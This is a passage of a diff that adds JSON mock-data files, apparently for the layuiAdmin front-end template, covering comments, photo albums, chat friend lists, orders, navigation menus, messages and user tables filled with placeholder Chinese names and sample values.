|
||||
},{
|
||||
"id": "006"
|
||||
,"replyer": "褚"
|
||||
,"cardid": "1005"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "纯属放屁"
|
||||
,"replytime": 20180207
|
||||
},{
|
||||
"id": "007"
|
||||
,"replyer": "卫"
|
||||
,"cardid": "1005"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "可以试试"
|
||||
,"replytime": 20180207
|
||||
},{
|
||||
"id": "006"
|
||||
,"replyer": "蒋"
|
||||
,"cardid": "1006"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "是啊是啊,太恐怖了。"
|
||||
,"replytime": 20180512
|
||||
},{
|
||||
"id": "007"
|
||||
,"replyer": "沈"
|
||||
,"cardid": "1008"
|
||||
,"avatar": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg"
|
||||
,"content": "魏家凉皮的凉皮就很不错奥。"
|
||||
,"replytime": 20180515
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
{
|
||||
"code": 0,
|
||||
"msg": "",
|
||||
"title": "JSON请求的相册",
|
||||
"id": 8,
|
||||
"start": 0,
|
||||
"data": [
|
||||
{
|
||||
"alt": "layer",
|
||||
"pid": 109,
|
||||
"src": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4keaw9pj20dw08caa4.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "说好的,一起Fly",
|
||||
"pid": 110,
|
||||
"src": "https://wx4.sinaimg.cn/mw1024/5db11ff4gy1fmx4kebemcj20ga09saa1.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "佟丽娅女神",
|
||||
"pid": 111,
|
||||
"src": "https://wx2.sinaimg.cn/mw690/5db11ff4gy1fmx4kec5bvj20eb0h3mxh.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "凤姐是个好人",
|
||||
"pid": 112,
|
||||
"src": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4kec9vuj20b20dwmyk.jpg",
|
||||
"thumb": ""
|
||||
},
|
||||
{
|
||||
"alt": "星空如此深邃",
|
||||
"pid": 113,
|
||||
"src": "https://wx3.sinaimg.cn/mw690/5db11ff4gy1fmx4keca8ag208g06iglw.gif",
|
||||
"thumb": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"mine": {
|
||||
"username": "纸飞机"
|
||||
,"id": "100000"
|
||||
,"status": "online"
|
||||
,"sign": "在深邃的编码世界,做一枚轻盈的纸飞机"
|
||||
,"avatar": "//res.layui.com/images/fly/avatar/00.jpg"
|
||||
}
|
||||
,"friend": [{
|
||||
"groupname": "知名人物"
|
||||
,"id": 0
|
||||
,"list": [{
|
||||
"username": "贤心"
|
||||
,"id": "100001"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.118.118.180/5db11ff4gw1e77d3nqrv8j203b03cweg.jpg"
|
||||
,"sign": "这些都是测试数据,实际使用请严格按照该格式返回"
|
||||
,"status": "online"
|
||||
},{
|
||||
"username": "刘涛tamia"
|
||||
,"id": "100001222"
|
||||
,"sign": "如约而至,不负姊妹欢乐颂"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.1.1125.1125.180/475bb144jw8f9nwebnuhkj20v90vbwh9.jpg"
|
||||
},{
|
||||
"username": "谢楠"
|
||||
,"id": "10034001"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.1.0.747.747.180/633f068fjw8f9h040n951j20ku0kr74t.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "马小云"
|
||||
,"id": "168168"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.180.180.180/7fde8b93jw1e8qgp5bmzyj2050050aa8.jpg"
|
||||
,"sign": "让天下没有难写的代码"
|
||||
},{
|
||||
"username": "徐小峥"
|
||||
,"id": "666666"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.512.512.180/6a4acad5jw8eqi6yaholjj20e80e8t9f.jpg"
|
||||
,"sign": "代码在囧途,也要写到底"
|
||||
}]
|
||||
},{
|
||||
"groupname": "网红声优"
|
||||
,"id": 1
|
||||
,"list": [{
|
||||
"username": "罗玉凤"
|
||||
,"id": "121286"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.0.640.640.180/4a02849cjw8fc8vn18vktj20hs0hs75v.jpg"
|
||||
,"sign": "在自己实力不济的时候,不要去相信什么媒体和记者。他们不是善良的人,有时候候他们的采访对当事人而言就是陷阱"
|
||||
},{
|
||||
"username": "Z_子晴"
|
||||
,"id": "108101"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.23.1242.1242.180/8693225ajw8fbimjimpjwj20yi0zs77l.jpg"
|
||||
,"sign": "微电商达人"
|
||||
},{
|
||||
"username": "大鱼_MsYuyu"
|
||||
,"id": "12123454"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.512.512.180/005LMAegjw8f2bp9qg4mrj30e80e8dg5.jpg"
|
||||
,"sign": "我瘋了!這也太準了吧 超級笑點低"
|
||||
},{
|
||||
"username": "醋醋cucu"
|
||||
,"id": "102101"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.640.640.180/648fbe5ejw8ethmg0u9egj20hs0ht0tn.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "柏雪近在它香"
|
||||
,"id": "3435343"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.8.751.751.180/961a9be5jw8fczq7q98i7j20kv0lcwfn.jpg"
|
||||
,"sign": ""
|
||||
}]
|
||||
},{
|
||||
"groupname": "女神艺人"
|
||||
,"id": 2
|
||||
,"list": [{
|
||||
"username": "王祖贤"
|
||||
,"id": "76543"
|
||||
,"avatar": "//wx2.sinaimg.cn/mw690/5db11ff4gy1flxmew7edlj203d03wt8n.jpg"
|
||||
,"sign": "我爱贤心"
|
||||
},{
|
||||
"username": "佟丽娅"
|
||||
,"id": "4803920"
|
||||
,"avatar": "//tva3.sinaimg.cn/crop.0.0.750.750.180/5033b6dbjw8etqysyifpkj20ku0kuwfw.jpg"
|
||||
,"sign": "我也爱贤心吖吖啊"
|
||||
}]
|
||||
}]
|
||||
,"group": [{
|
||||
"groupname": "前端群"
|
||||
,"id": "101"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.200.200.50/006q8Q6bjw8f20zsdem2mj305k05kdfw.jpg"
|
||||
},{
|
||||
"groupname": "Fly社区官方群"
|
||||
,"id": "102"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.199.199.180/005Zseqhjw1eplix1brxxj305k05kjrf.jpg"
|
||||
}]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"list": [{
|
||||
"username": "贤心"
|
||||
,"id": "100001"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.118.118.180/5db11ff4gw1e77d3nqrv8j203b03cweg.jpg"
|
||||
,"sign": "这些都是测试数据,实际使用请严格按照该格式返回"
|
||||
},{
|
||||
"username": "Z_子晴"
|
||||
,"id": "108101"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.23.1242.1242.180/8693225ajw8fbimjimpjwj20yi0zs77l.jpg"
|
||||
,"sign": "微电商达人"
|
||||
},{
|
||||
"username": "Lemon_CC"
|
||||
,"id": "102101"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.0.180.180.180/6d424ea5jw1e8qgp5bmzyj2050050aa8.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "马小云"
|
||||
,"id": "168168"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.180.180.180/7fde8b93jw1e8qgp5bmzyj2050050aa8.jpg"
|
||||
,"sign": "让天下没有难写的代码"
|
||||
},{
|
||||
"username": "徐小峥"
|
||||
,"id": "666666"
|
||||
,"avatar": "//tva1.sinaimg.cn/crop.0.0.512.512.180/6a4acad5jw8eqi6yaholjj20e80e8t9f.jpg"
|
||||
,"sign": "代码在囧途,也要写到底"
|
||||
},{
|
||||
"username": "罗玉凤"
|
||||
,"id": "121286"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.0.640.640.180/4a02849cjw8fc8vn18vktj20hs0hs75v.jpg"
|
||||
,"sign": "在自己实力不济的时候,不要去相信什么媒体和记者。他们不是善良的人,有时候候他们的采访对当事人而言就是陷阱"
|
||||
},{
|
||||
"username": "刘涛tamia"
|
||||
,"id": "100001222"
|
||||
,"avatar": "//tva4.sinaimg.cn/crop.0.1.1125.1125.180/475bb144jw8f9nwebnuhkj20v90vbwh9.jpg"
|
||||
,"sign": "如约而至,不负姊妹欢乐颂"
|
||||
},{
|
||||
"username": "大鱼_MsYuyu"
|
||||
,"id": "12123454"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.0.512.512.180/005LMAegjw8f2bp9qg4mrj30e80e8dg5.jpg"
|
||||
,"sign": "我瘋了!這也太準了吧 超級笑點低"
|
||||
},{
|
||||
"username": "谢楠"
|
||||
,"id": "10034001"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.1.0.747.747.180/633f068fjw8f9h040n951j20ku0kr74t.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "柏雪近在它香"
|
||||
,"id": "3435343"
|
||||
,"avatar": "//tva2.sinaimg.cn/crop.0.8.751.751.180/961a9be5jw8fczq7q98i7j20kv0lcwfn.jpg"
|
||||
,"sign": ""
|
||||
},{
|
||||
"username": "林心如"
|
||||
,"id": "76543"
|
||||
,"avatar": "//tva3.sinaimg.cn/crop.0.0.512.512.180/48f122e6jw8fcmi072lkyj20e80e8t9i.jpg"
|
||||
,"sign": "我爱贤心"
|
||||
},{
|
||||
"username": "佟丽娅"
|
||||
,"id": "4803920"
|
||||
,"avatar": "//tva3.sinaimg.cn/crop.0.0.750.750.180/5033b6dbjw8etqysyifpkj20ku0kuwfw.jpg"
|
||||
,"sign": "我也爱贤心吖吖啊"
|
||||
}]
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": "100"
|
||||
,"data": [{
|
||||
"invoice": "X123565541"
|
||||
,"username": "张小三"
|
||||
,"orderDate": "2017-11-10"
|
||||
,"amount": 800
|
||||
,"status": 1
|
||||
},{
|
||||
"invoice": "X123565542"
|
||||
,"username": "李小四"
|
||||
,"orderDate": "2017-11-10"
|
||||
,"amount": 800
|
||||
,"status": 0
|
||||
},{
|
||||
"invoice": "X123565543"
|
||||
,"username": "王老五"
|
||||
,"orderDate": "2017-11-10"
|
||||
,"amount": 800
|
||||
,"status": 1
|
||||
},{
|
||||
"invoice": "X123565544"
|
||||
,"username": "赵小六"
|
||||
,"orderDate": "2017-11-09"
|
||||
,"amount": 1600
|
||||
,"status": 1
|
||||
},{
|
||||
"invoice": "X123565545"
|
||||
,"username": "孙小七"
|
||||
,"orderDate": "2017-11-09"
|
||||
,"amount": 1600
|
||||
,"status": -1
|
||||
},{
|
||||
"invoice": "X123565546"
|
||||
,"username": "周小八"
|
||||
,"orderDate": "2017-11-08"
|
||||
,"amount": 2600
|
||||
,"status": 1
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,227 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": [{
|
||||
"name": "component"
|
||||
,"title": "组件"
|
||||
,"icon": "layui-icon-component"
|
||||
,"list": [{
|
||||
"name": "grid"
|
||||
,"title": "栅格"
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "等比例列表排列"
|
||||
},{
|
||||
"name": "mobile"
|
||||
,"title": "按移动端排列"
|
||||
},{
|
||||
"name": "mobile-pc"
|
||||
,"title": "移动桌面端组合"
|
||||
},{
|
||||
"name": "all"
|
||||
,"title": "全端复杂组合"
|
||||
},{
|
||||
"name": "stack"
|
||||
,"title": "低于桌面堆叠排列"
|
||||
},{
|
||||
"name": "speed-dial"
|
||||
,"title": "九宫格"
|
||||
}]
|
||||
}, {
|
||||
"name": "button"
|
||||
,"title": "按钮"
|
||||
}, {
|
||||
"name": "form"
|
||||
,"title": "表单"
|
||||
,"list": [{
|
||||
"name": "element"
|
||||
,"title": "表单元素"
|
||||
},{
|
||||
"name": "group"
|
||||
,"title": "表单组合"
|
||||
}]
|
||||
}, {
|
||||
"name": "nav"
|
||||
,"title": "导航"
|
||||
}, {
|
||||
"name": "tabs"
|
||||
,"title": "选项卡"
|
||||
}, {
|
||||
"name": "progress"
|
||||
,"title": "进度条"
|
||||
}, {
|
||||
"name": "panel"
|
||||
,"title": "面板"
|
||||
}, {
|
||||
"name": "badge"
|
||||
,"title": "徽章"
|
||||
}, {
|
||||
"name": "timeline"
|
||||
,"title": "时间线"
|
||||
}, {
|
||||
"name": "anim"
|
||||
,"title": "动画"
|
||||
}, {
|
||||
"name": "auxiliar"
|
||||
,"title": "辅助"
|
||||
}, {
|
||||
"name": "layer"
|
||||
,"title": "通用弹层"
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "功能演示"
|
||||
},{
|
||||
"name": "special-demo"
|
||||
,"title": "特殊示例"
|
||||
},{
|
||||
"name": "theme"
|
||||
,"title": "风格定制"
|
||||
}]
|
||||
}, {
|
||||
"name": "laydate"
|
||||
,"title": "日期时间"
|
||||
}, {
|
||||
"name": "table"
|
||||
,"title": "表格"
|
||||
}, {
|
||||
"name": "laypage"
|
||||
,"title": "分页"
|
||||
}, {
|
||||
"name": "upload"
|
||||
,"title": "上传"
|
||||
}, {
|
||||
"name": "carousel"
|
||||
,"title": "轮播"
|
||||
}, {
|
||||
"name": "laytpl"
|
||||
,"title": "模板引擎"
|
||||
}, {
|
||||
"name": "flow"
|
||||
,"title": "流加载"
|
||||
}, {
|
||||
"name": "util"
|
||||
,"title": "工具"
|
||||
}, {
|
||||
"name": "code"
|
||||
,"title": "代码修饰"
|
||||
}, {
|
||||
"name": "layim"
|
||||
,"title": "即时聊天"
|
||||
,"jump": "senior/im/"
|
||||
}]
|
||||
}, {
|
||||
"name": "template"
|
||||
,"title": "模板"
|
||||
,"icon": "layui-icon-template"
|
||||
,"list": [{
|
||||
"name": "user"
|
||||
,"title": "用户相关"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "reg"
|
||||
,"title": "注册"
|
||||
,"jump": "user/reg"
|
||||
},{
|
||||
"name": "login"
|
||||
,"title": "登入"
|
||||
,"jump": "user/login"
|
||||
},{
|
||||
"name": "forget"
|
||||
,"title": "忘记密码"
|
||||
,"jump": "user/forget"
|
||||
}]
|
||||
}, {
|
||||
"name": "tips"
|
||||
,"title": "提示页面"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "404"
|
||||
,"title": "404"
|
||||
},{
|
||||
"name": "error"
|
||||
,"title": "错误提示"
|
||||
}]
|
||||
}, {
|
||||
"name": ""
|
||||
,"title": "内嵌页面"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": ""
|
||||
,"title": "百度一下"
|
||||
,"jump": "/iframe/link/baidu"
|
||||
}, {
|
||||
"name": ""
|
||||
,"title": "layui官网"
|
||||
,"jump": "/iframe/link/layui"
|
||||
}, {
|
||||
"name": ""
|
||||
,"title": "layuiAdmin官网"
|
||||
,"jump": "/iframe/link/layuiAdmin"
|
||||
}]
|
||||
}]
|
||||
}, {
|
||||
"name": "app"
|
||||
,"title": "应用"
|
||||
,"icon": "layui-icon-app"
|
||||
,"list": [{
|
||||
"name": "message"
|
||||
,"title": "消息中心"
|
||||
}]
|
||||
}, {
|
||||
"name": "senior"
|
||||
,"title": "高级"
|
||||
,"icon": "layui-icon-senior"
|
||||
,"list": [{
|
||||
"name": "im"
|
||||
,"title": "通讯系统"
|
||||
}]
|
||||
}, {
|
||||
"name": "user"
|
||||
,"title": "用户"
|
||||
,"icon": "layui-icon-user"
|
||||
,"list": [{
|
||||
"name": "user"
|
||||
,"title": "用户"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "用户列表"
|
||||
}]
|
||||
},{
|
||||
"name": "administrators"
|
||||
,"title": "后台管理组"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "list"
|
||||
,"title": "管理员列表"
|
||||
},{
|
||||
"name": "role"
|
||||
,"title": "角色管理"
|
||||
}]
|
||||
}]
|
||||
}, {
|
||||
"name": "set"
|
||||
,"title": "设置"
|
||||
,"icon": "layui-icon-set"
|
||||
,"list": [{
|
||||
"name": "base"
|
||||
,"title": "基本设置"
|
||||
,"spread": true
|
||||
,"list": [{
|
||||
"name": "website"
|
||||
,"title": "系统设置"
|
||||
},{
|
||||
"name": "email"
|
||||
,"title": "邮件服务"
|
||||
}]
|
||||
},{
|
||||
"name": "security"
|
||||
,"title": "安全设置"
|
||||
}]
|
||||
}, {
|
||||
"name": "get"
|
||||
,"title": "授权"
|
||||
,"icon": "layui-icon-auz"
|
||||
,"jump": "system/get"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 60
|
||||
,"data": [{
|
||||
"id": 123
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510363800000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1507447570000
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"content": "<p>一直以来,layui 秉承无偿开源的初心,虔诚致力于服务各层次前后端 Web 开发者,在商业横飞的当今时代,这一信念从未动摇。即便身单力薄,仍然重拾决心,埋头造轮,以尽可能地填补产品本身的缺口。在过去的一段的时间,我一直在寻求持久之道,已维持你眼前所见的一切。而 layuiAdmin 是我们尝试解决的手段之一。我相信真正有爱于 layui 生态的你,定然不会错过这一拥抱吧。</p><p>子曰:君子不用防,小人防不住。请务必通过官网正规渠道,获得 <a href=\"http://www.layui.com/admin/\" target=\"_blank\">layuiAdmin</a>!</p><p>—— 贤心(<a href=\"http://www.layui.com/\" target=\"_blank\">layui.com</a>)</p>"
|
||||
,"time": 1510363800000
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 60
|
||||
,"data": [{
|
||||
"id": 123
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510363800000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "贤心发来了一段私信"
|
||||
,"time": 1507447570000
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"data": {
|
||||
"newmsg": 3
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 60
|
||||
,"data": [{
|
||||
"id": 123
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510363800000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1510212370000
|
||||
}, {
|
||||
"id": 111
|
||||
,"title": "你好新朋友,感谢使用 layuiAdmin"
|
||||
,"time": 1507447570000
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 3000000
|
||||
,"data": [{
|
||||
"id": "10001"
|
||||
,"username": "杜甫"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "点击此处,显示更多。当内容超出时,点击单元格会自动显示更多内容。"
|
||||
,"experience": "116"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "108"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10002"
|
||||
,"username": "李白"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "君不见,黄河之水天上来,奔流到海不复回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐,会须一饮三百杯。 岑夫子,丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。(倾耳听 一作:侧耳听) 钟鼓馔玉不足贵,但愿长醉不复醒。(不足贵 一作:何足贵;不复醒 一作:不愿醒/不用醒) 古来圣贤皆寂寞,惟有饮者留其名。(古来 一作:自古;惟 通:唯) 陈王昔时宴平乐,斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马,千金裘,呼儿将出换美酒,与尔同销万古愁。"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
,"LAY_CHECKED": true
|
||||
}, {
|
||||
"id": "10003"
|
||||
,"username": "王勃"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "65"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10004"
|
||||
,"username": "李清照"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "666"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10005"
|
||||
,"username": "冰心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "女"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "86"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10006"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "12"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10007"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "16"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10008"
|
||||
,"username": "贤心"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "人生恰似一场修行"
|
||||
,"experience": "106"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "106"
|
||||
,"joinTime": "2016-10-14"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
|
||||
{
|
||||
"code": 0
|
||||
,"msg": ""
|
||||
,"count": 66
|
||||
,"data": [{
|
||||
"username": "张小三"
|
||||
,"amount": 18
|
||||
,"province": "浙江"
|
||||
,"city": "杭州"
|
||||
,"zone": "西湖区"
|
||||
,"street": "西溪街道"
|
||||
,"address": "西溪花园"
|
||||
,"house": "30栋1单元"
|
||||
}, {
|
||||
"username": "李小四"
|
||||
,"amount": 39
|
||||
,"province": "江苏"
|
||||
,"city": "苏州"
|
||||
,"zone": "姑苏区"
|
||||
,"street": "丝绸路"
|
||||
,"address": "天墅之城"
|
||||
,"house": "9幢2单元"
|
||||
}, {
|
||||
"username": "王小五"
|
||||
,"amount": 8
|
||||
,"province": "江西"
|
||||
,"city": "南昌"
|
||||
,"zone": "青山湖区"
|
||||
,"street": "艾溪湖办事处"
|
||||
,"address": "中兴和园"
|
||||
,"house": "1幢3单元"
|
||||
}, {
|
||||
"username": "赵小六"
|
||||
,"amount": 16
|
||||
,"province": "福建"
|
||||
,"city": "泉州"
|
||||
,"zone": "丰泽区"
|
||||
,"street": "南洋街道"
|
||||
,"address": "南洋村"
|
||||
,"house": "6幢1单元"
|
||||
}, {
|
||||
"username": "孙小七"
|
||||
,"amount": 12
|
||||
,"province": "湖北"
|
||||
,"city": "武汉"
|
||||
,"zone": "武昌区"
|
||||
,"street": "武昌大道"
|
||||
,"address": "两湖花园"
|
||||
,"house": "16幢2单元"
|
||||
}, {
|
||||
"username": "周小八"
|
||||
,"amount": 11
|
||||
,"province": "安徽"
|
||||
,"city": "黄山"
|
||||
,"zone": "黄山区"
|
||||
,"street": "汤口镇"
|
||||
,"address": "温泉村"
|
||||
,"house": "21号"
|
||||
}]
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
{
|
||||
"status": 200
|
||||
,"message": ""
|
||||
,"total": 8
|
||||
,"rows": {
|
||||
"item": [{
|
||||
"id": "10001"
|
||||
,"username": "杜甫"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
,"sign": "点击此处,显示更多。当内容超出时,点击单元格会自动显示更多内容。"
|
||||
,"experience": "116"
|
||||
,"ip": "192.168.0.8"
|
||||
,"logins": "108"
|
||||
,"joinTime": "2016-10-14"
|
||||
}, {
|
||||
"id": "10002"
|
||||
,"username": "李白"
|
||||
,"email": "xianxin@layui.com"
|
||||
,"sex": "男"
|
||||
,"city": "浙江杭州"
|
||||
